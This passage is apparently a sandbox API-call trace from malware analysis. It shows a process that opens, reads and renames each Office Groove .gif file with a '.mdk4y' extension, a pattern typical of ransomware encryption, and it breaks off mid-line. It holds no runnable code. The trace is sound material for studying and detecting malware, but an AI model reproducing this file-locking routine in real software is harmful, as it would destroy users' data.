lpMultiByteStr="bg_FormsHomePageBlank.gifrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 25 [0215.872] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829110400000) returned 1 [0215.874] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4ebb, lpOverlapped=0x0) returned 1 [0215.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829110500000) returned 1 [0215.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829110500000) returned 1 [0215.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif.mdk4y")) returned 1 [0215.878] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.878] AreFileApisANSI () returned 1 [0215.878] GetACP () returned 0x4e4 [0215.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_GreenTea.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_GreenTea.gifeBlank.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0215.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829111000000) returned 1 [0215.880] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5690, lpOverlapped=0x0) returned 1 [0215.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829113800000) returned 1 [0215.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829113800000) returned 1 [0215.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif.mdk4y")) returned 1 [0215.912] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.912] AreFileApisANSI () returned 1 [0215.912] GetACP () returned 0x4e4 [0215.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Groove.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Groove.gifif", lpUsedDefaultChar=0x37dda8) returned 13 [0215.912] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829114300000) returned 1 [0215.913] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6a, lpOverlapped=0x0) returned 1 [0215.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829114400000) returned 1 [0215.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829114400000) returned 1 [0215.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif.mdk4y")) returned 1 [0215.915] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.916] AreFileApisANSI () returned 1 [0215.916] GetACP () returned 0x4e4 [0215.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_LightSpirit.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_LightSpirit.gifank.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0215.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829114700000) returned 1 [0215.917] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x21a6, lpOverlapped=0x0) returned 1 [0215.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829116200000) returned 1 [0215.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829116200000) returned 1 [0215.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif.mdk4y")) returned 1 [0215.934] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.934] AreFileApisANSI () returned 1 [0215.934] GetACP () returned 0x4e4 [0215.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_OliveGreen.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_OliveGreen.giff", lpUsedDefaultChar=0x37dda8) returned 17 [0215.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829116500000) returned 1 [0215.935] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3d57, lpOverlapped=0x0) returned 1 [0215.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829116700000) returned 1 [0215.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829116700000) returned 1 [0215.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif.mdk4y")) returned 1 [0215.939] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.939] AreFileApisANSI () returned 1 [0215.939] GetACP () returned 0x4e4 [0215.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Premium.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Premium.gifgif", lpUsedDefaultChar=0x37dda8) returned 14 [0215.939] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829117200000) returned 1 [0215.942] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1845, lpOverlapped=0x0) returned 1 [0215.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829118700000) returned 1 [0215.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829118700000) returned 1 [0215.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif.mdk4y")) returned 1 [0215.959] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.959] AreFileApisANSI () returned 1 [0215.959] GetACP () returned 0x4e4 [0215.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_SlateBlue.gif", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_SlateBlue.giff", lpUsedDefaultChar=0x37dda8) returned 16 [0215.959] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829119000000) returned 1 [0215.960] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5141, lpOverlapped=0x0) returned 1 [0215.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829120500000) returned 1 [0215.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829120500000) returned 1 [0215.975] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif.mdk4y")) returned 1 [0215.977] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.977] AreFileApisANSI () returned 1 [0215.977] GetACP () returned 0x4e4 [0215.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_TexturedBlue.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_TexturedBlue.gifnk.gif", lpUsedDefaultChar=0x37dda8) returned 19 [0215.977] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829120800000) returned 1 [0215.979] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x193c, lpOverlapped=0x0) returned 1 [0215.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829122000000) returned 1 [0215.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829122000000) returned 1 [0215.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif.mdk4y")) returned 1 [0215.992] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.992] AreFileApisANSI () returned 1 [0215.992] GetACP () returned 0x4e4 [0215.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_VelvetRose.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_VelvetRose.gifif", lpUsedDefaultChar=0x37dda8) returned 17 [0215.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829122200000) returned 1 [0215.992] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3c64, lpOverlapped=0x0) returned 1 [0216.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829123000000) returned 1 [0216.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829123000000) returned 1 [0216.001] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif.mdk4y")) returned 1 [0216.002] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.002] AreFileApisANSI () returned 1 [0216.002] GetACP () returned 0x4e4 [0216.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left.gifif", lpUsedDefaultChar=0x37dda8) returned 15 [0216.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829124100000) returned 1 [0216.011] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x276, lpOverlapped=0x0) returned 1 [0216.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125200000) returned 1 [0216.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125200000) returned 1 [0216.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif.mdk4y")) returned 1 [0216.023] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.023] AreFileApisANSI () returned 1 [0216.023] GetACP () returned 0x4e4 [0216.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left_disable.gif", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left_disable.gifif", lpUsedDefaultChar=0x37dda8) returned 23 [0216.023] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125400000) returned 1 [0216.024] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xe6, lpOverlapped=0x0) returned 1 [0216.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125500000) returned 1 [0216.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125500000) returned 1 [0216.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif.mdk4y")) returned 1 [0216.026] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.026] AreFileApisANSI () returned 1 [0216.026] GetACP () returned 0x4e4 [0216.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left_over.gif", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left_over.gifgif", lpUsedDefaultChar=0x37dda8) returned 20 [0216.026] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125700000) returned 1 [0216.027] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x41b, lpOverlapped=0x0) returned 1 [0216.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125900000) returned 1 [0216.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829125900000) returned 1 [0216.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif.mdk4y")) returned 1 [0216.030] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.030] AreFileApisANSI () returned 1 [0216.030] GetACP () returned 0x4e4 [0216.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid.gifer.gif", lpUsedDefaultChar=0x37dda8) returned 14 [0216.030] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126200000) returned 1 [0216.032] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb9, lpOverlapped=0x0) returned 1 [0216.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126300000) returned 1 [0216.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126300000) returned 1 [0216.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif.mdk4y" (normalized: 